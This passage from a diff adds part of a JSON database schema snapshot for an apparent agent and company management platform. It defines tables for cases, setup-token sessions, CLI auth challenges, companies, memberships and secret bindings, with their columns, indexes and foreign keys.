+          "name": "cases_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cases_company_type_idx": {
+          "name": "cases_company_type_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cases_company_project_idx": {
+          "name": "cases_company_project_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cases_parent_idx": {
+          "name": "cases_parent_idx",
+          "columns": [
+            {
+              "expression": "parent_case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cases_title_search_idx": {
+          "name": "cases_title_search_idx",
+          "columns": [
+            {
+              "expression": "title",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        },
+        "cases_identifier_search_idx": {
+          "name": "cases_identifier_search_idx",
+          "columns": [
+            {
+              "expression": "identifier",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        },
+        "cases_summary_search_idx": {
+          "name": "cases_summary_search_idx",
+          "columns": [
+            {
+              "expression": "summary",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "cases_company_id_companies_id_fk": {
+          "name": "cases_company_id_companies_id_fk",
+          "tableFrom": "cases",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "cases_project_id_projects_id_fk": {
+          "name": "cases_project_id_projects_id_fk",
+          "tableFrom": "cases",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "cases_parent_case_id_cases_id_fk": {
+          "name": "cases_parent_case_id_cases_id_fk",
+          "tableFrom": "cases",
+          "tableTo": "cases",
+          "columnsFrom": [
+            "parent_case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "cases_created_by_agent_id_agents_id_fk": {
+          "name": "cases_created_by_agent_id_agents_id_fk",
+          "tableFrom": "cases",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "cases_status_check": {
+          "name": "cases_status_check",
+          "value": "\"cases\".\"status\" in ('draft', 'in_progress', 'in_review', 'approved', 'done', 'cancelled')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.claude_setup_token_sessions": {
+      "name": "claude_setup_token_sessions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "session_id": {
+          "name": "session_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "owner_user_id": {
+          "name": "owner_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "adapter_type": {
+          "name": "adapter_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "environment_id": {
+          "name": "environment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "lease_id": {
+          "name": "lease_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "state": {
+          "name": "state",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'starting'"
+        },
+        "deadline_at": {
+          "name": "deadline_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "bound_at": {
+          "name": "bound_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "claude_setup_token_sessions_active_uq": {
+          "name": "claude_setup_token_sessions_active_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "owner_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "adapter_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "environment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"claude_setup_token_sessions\".\"state\" IN ('starting', 'awaiting_code', 'submitting', 'persisting')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "claude_setup_token_sessions_session_id_uq": {
+          "name": "claude_setup_token_sessions_session_id_uq",
+          "columns": [
+            {
+              "expression": "session_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "claude_setup_token_sessions_deadline_idx": {
+          "name": "claude_setup_token_sessions_deadline_idx",
+          "columns": [
+            {
+              "expression": "deadline_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "claude_setup_token_sessions_company_id_companies_id_fk": {
+          "name": "claude_setup_token_sessions_company_id_companies_id_fk",
+          "tableFrom": "claude_setup_token_sessions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "claude_setup_token_sessions_environment_id_environments_id_fk": {
+          "name": "claude_setup_token_sessions_environment_id_environments_id_fk",
+          "tableFrom": "claude_setup_token_sessions",
+          "tableTo": "environments",
+          "columnsFrom": [
+            "environment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.cli_auth_challenges": {
+      "name": "cli_auth_challenges",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "secret_hash": {
+          "name": "secret_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "command": {
+          "name": "command",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "client_name": {
+          "name": "client_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "requested_access": {
+          "name": "requested_access",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'board'"
+        },
+        "requested_company_id": {
+          "name": "requested_company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "pending_key_hash": {
+          "name": "pending_key_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "pending_key_name": {
+          "name": "pending_key_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "approved_by_user_id": {
+          "name": "approved_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "board_api_key_id": {
+          "name": "board_api_key_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "approved_at": {
+          "name": "approved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cancelled_at": {
+          "name": "cancelled_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "cli_auth_challenges_secret_hash_idx": {
+          "name": "cli_auth_challenges_secret_hash_idx",
+          "columns": [
+            {
+              "expression": "secret_hash",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cli_auth_challenges_approved_by_idx": {
+          "name": "cli_auth_challenges_approved_by_idx",
+          "columns": [
+            {
+              "expression": "approved_by_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cli_auth_challenges_requested_company_idx": {
+          "name": "cli_auth_challenges_requested_company_idx",
+          "columns": [
+            {
+              "expression": "requested_company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "cli_auth_challenges_requested_company_id_companies_id_fk": {
+          "name": "cli_auth_challenges_requested_company_id_companies_id_fk",
+          "tableFrom": "cli_auth_challenges",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "requested_company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "cli_auth_challenges_approved_by_user_id_user_id_fk": {
+          "name": "cli_auth_challenges_approved_by_user_id_user_id_fk",
+          "tableFrom": "cli_auth_challenges",
+          "tableTo": "user",
+          "columnsFrom": [
+            "approved_by_user_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "cli_auth_challenges_board_api_key_id_board_api_keys_id_fk": {
+          "name": "cli_auth_challenges_board_api_key_id_board_api_keys_id_fk",
+          "tableFrom": "cli_auth_challenges",
+          "tableTo": "board_api_keys",
+          "columnsFrom": [
+            "board_api_key_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.companies": {
+      "name": "companies",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "pause_reason": {
+          "name": "pause_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "paused_at": {
+          "name": "paused_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_prefix": {
+          "name": "issue_prefix",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'PAP'"
+        },
+        "issue_counter": {
+          "name": "issue_counter",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "budget_monthly_cents": {
+          "name": "budget_monthly_cents",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "spent_monthly_cents": {
+          "name": "spent_monthly_cents",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "attachment_max_bytes": {
+          "name": "attachment_max_bytes",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 10485760
+        },
+        "default_responsible_user_id": {
+          "name": "default_responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "require_board_approval_for_new_agents": {
+          "name": "require_board_approval_for_new_agents",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "interaction_resolver_governance": {
+          "name": "interaction_resolver_governance",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "feedback_data_sharing_enabled": {
+          "name": "feedback_data_sharing_enabled",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "feedback_data_sharing_consent_at": {
+          "name": "feedback_data_sharing_consent_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "feedback_data_sharing_consent_by_user_id": {
+          "name": "feedback_data_sharing_consent_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "feedback_data_sharing_terms_version": {
+          "name": "feedback_data_sharing_terms_version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "brand_color": {
+          "name": "brand_color",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "companies_issue_prefix_idx": {
+          "name": "companies_issue_prefix_idx",
+          "columns": [
+            {
+              "expression": "issue_prefix",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {},
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_logos": {
+      "name": "company_logos",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "asset_id": {
+          "name": "asset_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_logos_company_uq": {
+          "name": "company_logos_company_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_logos_asset_uq": {
+          "name": "company_logos_asset_uq",
+          "columns": [
+            {
+              "expression": "asset_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_logos_company_id_companies_id_fk": {
+          "name": "company_logos_company_id_companies_id_fk",
+          "tableFrom": "company_logos",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_logos_asset_id_assets_id_fk": {
+          "name": "company_logos_asset_id_assets_id_fk",
+          "tableFrom": "company_logos",
+          "tableTo": "assets",
+          "columnsFrom": [
+            "asset_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_memberships": {
+      "name": "company_memberships",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "principal_type": {
+          "name": "principal_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "principal_id": {
+          "name": "principal_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "membership_role": {
+          "name": "membership_role",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_memberships_company_principal_unique_idx": {
+          "name": "company_memberships_company_principal_unique_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "principal_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "principal_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_memberships_principal_status_idx": {
+          "name": "company_memberships_principal_status_idx",
+          "columns": [
+            {
+              "expression": "principal_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "principal_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_memberships_company_status_idx": {
+          "name": "company_memberships_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_memberships_company_id_companies_id_fk": {
+          "name": "company_memberships_company_id_companies_id_fk",
+          "tableFrom": "company_memberships",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_onboarding_seeds": {
+      "name": "company_onboarding_seeds",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "revision": {
+          "name": "revision",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "mission": {
+          "name": "mission",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_name": {
+          "name": "agent_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_role": {
+          "name": "agent_role",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "first_task_title": {
+          "name": "first_task_title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "first_task_details": {
+          "name": "first_task_details",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "goal_id": {
+          "name": "goal_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "applied_at": {
+          "name": "applied_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_onboarding_seeds_company_uq": {
+          "name": "company_onboarding_seeds_company_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_onboarding_seeds_company_id_companies_id_fk": {
+          "name": "company_onboarding_seeds_company_id_companies_id_fk",
+          "tableFrom": "company_onboarding_seeds",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_onboarding_seeds_goal_id_goals_id_fk": {
+          "name": "company_onboarding_seeds_goal_id_goals_id_fk",
+          "tableFrom": "company_onboarding_seeds",
+          "tableTo": "goals",
+          "columnsFrom": [
+            "goal_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_onboarding_seeds_agent_id_agents_id_fk": {
+          "name": "company_onboarding_seeds_agent_id_agents_id_fk",
+          "tableFrom": "company_onboarding_seeds",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_onboarding_seeds_issue_id_issues_id_fk": {
+          "name": "company_onboarding_seeds_issue_id_issues_id_fk",
+          "tableFrom": "company_onboarding_seeds",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_secret_bindings": {
+      "name": "company_secret_bindings",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "secret_id": {
+          "name": "secret_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_type": {
+          "name": "target_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_id": {
+          "name": "target_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "config_path": {
+          "name": "config_path",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "version_selector": {
+          "name": "version_selector",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'latest'"
+        },
+        "required": {
+          "name": "required",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": true
+        },
+        "label": {
+          "name": "label",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "projection_class": {
+          "name": "projection_class",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unclassified'"
+        },
+        "projection_allowlist_key": {
+          "name": "projection_allowlist_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_secret_bindings_company_idx": {
+          "name": "company_secret_bindings_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_bindings_secret_idx": {
+          "name": "company_secret_bindings_secret_idx",
+          "columns": [
+            {
+              "expression": "secret_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_bindings_target_idx": {
+          "name": "company_secret_bindings_target_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_bindings_target_path_uq": {
+          "name": "company_secret_bindings_target_path_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "config_path",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_secret_bindings_company_id_companies_id_fk": {
+          "name": "company_secret_bindings_company_id_companies_id_fk",
+          "tableFrom": "company_secret_bindings",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "company_secret_bindings_secret_id_company_secrets_id_fk": {
+          "name": "company_secret_bindings_secret_id_company_secrets_id_fk",
+          "tableFrom": "company_secret_bindings",
+          "tableTo": "company_secrets",
+          "columnsFrom": [
+            "secret_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_secret_proposals": {
+      "name": "company_secret_proposals",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "proposed_name": {
+          "name": "proposed_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "proposed_key": {
+          "name": "proposed_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "proposed_description": {
+          "name": "proposed_description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "justification": {
+          "name": "justification",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "value_ciphertext": {
+          "name": "value_ciphertext",
+          "type": "jsonb",
+          "primaryKey": false,
